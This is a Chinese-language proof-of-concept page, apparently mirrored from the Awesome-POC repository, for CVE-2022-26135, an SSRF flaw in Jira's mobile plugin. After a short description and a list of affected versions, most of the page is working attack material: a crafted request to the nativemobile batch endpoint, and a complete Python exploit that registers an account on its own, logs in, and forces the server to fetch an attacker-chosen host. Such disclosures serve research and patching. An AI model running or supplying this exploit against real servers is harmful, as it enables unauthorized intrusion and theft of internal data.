mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 03:17:19 +00:00
252 lines
13 KiB
Markdown
252 lines
13 KiB
Markdown
# Atlassian Jira Mobile Plugin SSRF漏洞 CVE-2022-26135
|
||
|
||
## 漏洞描述
|
||
|
||
6月29日，Atlassian官方发布安全公告，在Atlassian Jira 多款产品中存在服务端请求伪造漏洞(SSRF)，经过身份验证的远程攻击者可通过向Jira Core REST API发送特制请求，从而伪造服务端发起请求，从而导致敏感信息泄露，同时为下一步攻击利用提供条件。需注意的是，若服务端开启注册功能，则未授权用户可通过注册获取权限进而利用。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Jira Core Server, Jira Software Server, and Jira Software Data Center:
|
||
Versions after 8.0 and before 8.13.22
|
||
8.14.x
|
||
8.15.x
|
||
8.16.x
|
||
8.17.x
|
||
8.18.x
|
||
8.19.x
|
||
8.20.x before 8.20.10
|
||
8.21.x
|
||
8.22.x before 8.22.4
|
||
|
||
Jira Service Management Server and Data Center:
|
||
Versions after 4.0 and before 4.13.22
|
||
4.14.x
|
||
4.15.x
|
||
4.16.x
|
||
4.17.x
|
||
4.18.x
|
||
4.19.x
|
||
4.20.x before 4.20.10
|
||
4.21.x
|
||
4.22.x before 4.22.4
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
```
|
||
POST /rest/nativemobile/1.0/batch HTTP/2
|
||
Host: issues.example.com
|
||
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
|
||
Content-Type: application/json
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
X-Requested-With: XMLHttpRequest
|
||
Origin: https://issues.example.com
|
||
Referer: https://issues.example.com/plugins/servlet/desk
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Content-Length: 63
|
||
|
||
{"requests":[{"method":"GET","location":"dnslog@example.com"}]}
|
||
```
|
||
|
||
## 漏洞POC
|
||
|
||
- https://github.com/assetnote/jira-mobile-ssrf-exploit
|
||
|
||
```
|
||
import requests
|
||
import string
|
||
import random
|
||
import argparse
|
||
from bs4 import BeautifulSoup as bs4
|
||
import urllib3
|
||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||
|
||
parser = argparse.ArgumentParser()
|
||
parser.add_argument("--target", help="i.e. http://re.local:8090", required=True)
|
||
parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True)
|
||
parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic")
|
||
parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode")
|
||
parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode")
|
||
parser.add_argument("--email", help="i.e. admin@example.com - only needed for manual jira service desk mode")
|
||
parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode")
|
||
args = parser.parse_args()
|
||
|
||
if args.mode == "manual":
|
||
if args.software == "":
|
||
print("[*] please pass in a software (jira / jsd)")
|
||
if args.software == "jira" and args.email == "" and args.password == "":
|
||
print("[*] must provide an email and password for jira in manual mode")
|
||
if args.software == "jsd" and args.username == "" and args.password == "":
|
||
print("[*] must provide an username and password for jira in manual mode")
|
||
|
||
# atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018
|
||
# for full list of affected jira versions please see the following URL
|
||
# https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
|
||
# by shubs
|
||
banner = """
|
||
_ _ _
|
||
__ _| |_| | __ _ ___| |_
|
||
/ _` | __| |/ _` / __| __|
|
||
| (_| | |_| | (_| \__ \ |_
|
||
\__,_|\__|_|\__,_|___/\__|
|
||
|
||
jira full read ssrf [CVE-2022-26135]
|
||
brought to you by assetnote [https://assetnote.io]
|
||
"""
|
||
|
||
print(banner)
|
||
|
||
proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"}
|
||
session = requests.Session()
|
||
|
||
def detect_jira_root(target):
|
||
root_paths = ["/", "/secure/" "/jira/", "/issues/"]
|
||
jira_found = ""
|
||
for path in root_paths:
|
||
test_url = "{}/{}".format(target, path)
|
||
r = session.get(test_url, verify=False, proxies=proxies)
|
||
if "ajs-base-url" in r.text:
|
||
jira_found = path
|
||
break
|
||
return jira_found
|
||
|
||
def get_jira_signup(target, base_path):
|
||
test_url = "{}{}".format(target, base_path)
|
||
r = session.get(test_url, verify=False, proxies=proxies)
|
||
signup_enabled = False
|
||
if "Signup!default.jspa" in r.text:
|
||
signup_enabled = True
|
||
return signup_enabled
|
||
|
||
def signup_user(target, base_path):
|
||
test_url = "{}{}secure/Signup!default.jspa".format(target, base_path)
|
||
test_url_post = "{}{}secure/Signup.jspa".format(target, base_path)
|
||
r = session.get(test_url, verify=False, proxies=proxies)
|
||
if 'name="captcha"' in r.text:
|
||
print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url))
|
||
return False, {}
|
||
if "Mode Breach" in r.text:
|
||
print("[*] url {} has signups disabled, trying JSD approach".format(test_url))
|
||
return False, {}
|
||
# captcha not detected, proceed with registration
|
||
html_bytes = r.text
|
||
soup = bs4(html_bytes, 'lxml')
|
||
token = soup.find('input', {'name':'atl_token'})['value']
|
||
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
|
||
email = "{}@example.com".format(full_name)
|
||
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
|
||
paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name}
|
||
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
|
||
cookies = {"atlassian.xsrf.token":token}
|
||
r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies)
|
||
if "Congratulations!" in r.text:
|
||
print("[*] successful registration")
|
||
user_obj = {"username": full_name, "password": password, "email": email}
|
||
return True, user_obj
|
||
|
||
# attempts to signup to root JSD
|
||
def register_jsd(target, base_path):
|
||
register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path)
|
||
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
|
||
email = "{}@example.com".format(full_name)
|
||
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
|
||
|
||
# try and sign up to the service desk portal without project IDs (easy win?)
|
||
rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password)
|
||
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
|
||
r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
|
||
if r.status_code == 204:
|
||
print("[*] successful registration")
|
||
user_obj = {"username": full_name, "password": password, "email": email}
|
||
return True, user_obj
|
||
print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url))
|
||
register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path)
|
||
rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email)
|
||
r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
|
||
if r.status_code == 204:
|
||
print("[*] registration may be possible via emailsignup endpoint")
|
||
print("[*] you will have to manually exploit this with a real email")
|
||
print("[*] visit {}".format(register_url))
|
||
return False, {}
|
||
if r.status_code == 400:
|
||
print("[*] registration may be possible via emailsignup endpoint")
|
||
print("[*] you will have to manually exploit this with a real email and captcha")
|
||
print("[*] visit {}".format(register_url))
|
||
return False, {}
|
||
print(r.status_code)
|
||
return False, {}
|
||
|
||
def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host):
|
||
login_url = "{}{}servicedesk/customer/user/login".format(target, base_path)
|
||
paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]}
|
||
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
|
||
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
|
||
|
||
if "loginSucceeded" in r.text:
|
||
print("[*] successful login")
|
||
|
||
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
|
||
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
|
||
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
|
||
r = session.post(test_url, data=rawBody, headers=headers)
|
||
|
||
print("Status code: %i" % r.status_code)
|
||
print("Response body: %s" % r.content)
|
||
|
||
def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host):
|
||
login_url = "{}{}login.jsp".format(target, base_path)
|
||
paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"}
|
||
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
|
||
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
|
||
|
||
if r.headers["X-Seraph-LoginReason"] == "OK":
|
||
print("[*] successful login")
|
||
|
||
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
|
||
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
|
||
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
|
||
r = session.post(test_url, data=rawBody, headers=headers)
|
||
|
||
print("Status code: %i" % r.status_code)
|
||
print("Response body: %s" % r.content)
|
||
|
||
|
||
# target = "http://re.local:8090"
|
||
# ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com"
|
||
|
||
user_obj = {}
|
||
|
||
successful_jira_signup = False
|
||
successful_jsd_signup = False
|
||
|
||
jira_root = detect_jira_root(args.target)
|
||
|
||
if args.mode == "manual" and args.software == "jira":
|
||
user_obj = {"username": args.username, "password": args.password, "email": args.email}
|
||
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
|
||
|
||
if args.mode == "manual" and args.software == "jsd":
|
||
user_obj = {"username": args.username, "password": args.password, "email": args.email}
|
||
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
|
||
|
||
if args.mode == "automatic":
|
||
signup_enabled = get_jira_signup(args.target, jira_root)
|
||
successful_jira_signup, user_obj = signup_user(args.target, jira_root)
|
||
|
||
if successful_jira_signup == True:
|
||
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
|
||
|
||
if successful_jira_signup == False:
|
||
# try to sign up to jira service desk instead
|
||
successful_jsd_signup, user_obj = register_jsd(args.target, jira_root)
|
||
if successful_jsd_signup:
|
||
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
|
||
|
||
if successful_jira_signup == False and successful_jsd_signup == False:
|
||
print("[*] sorry boss no ssrf for you today")
|
||
```
|
||
|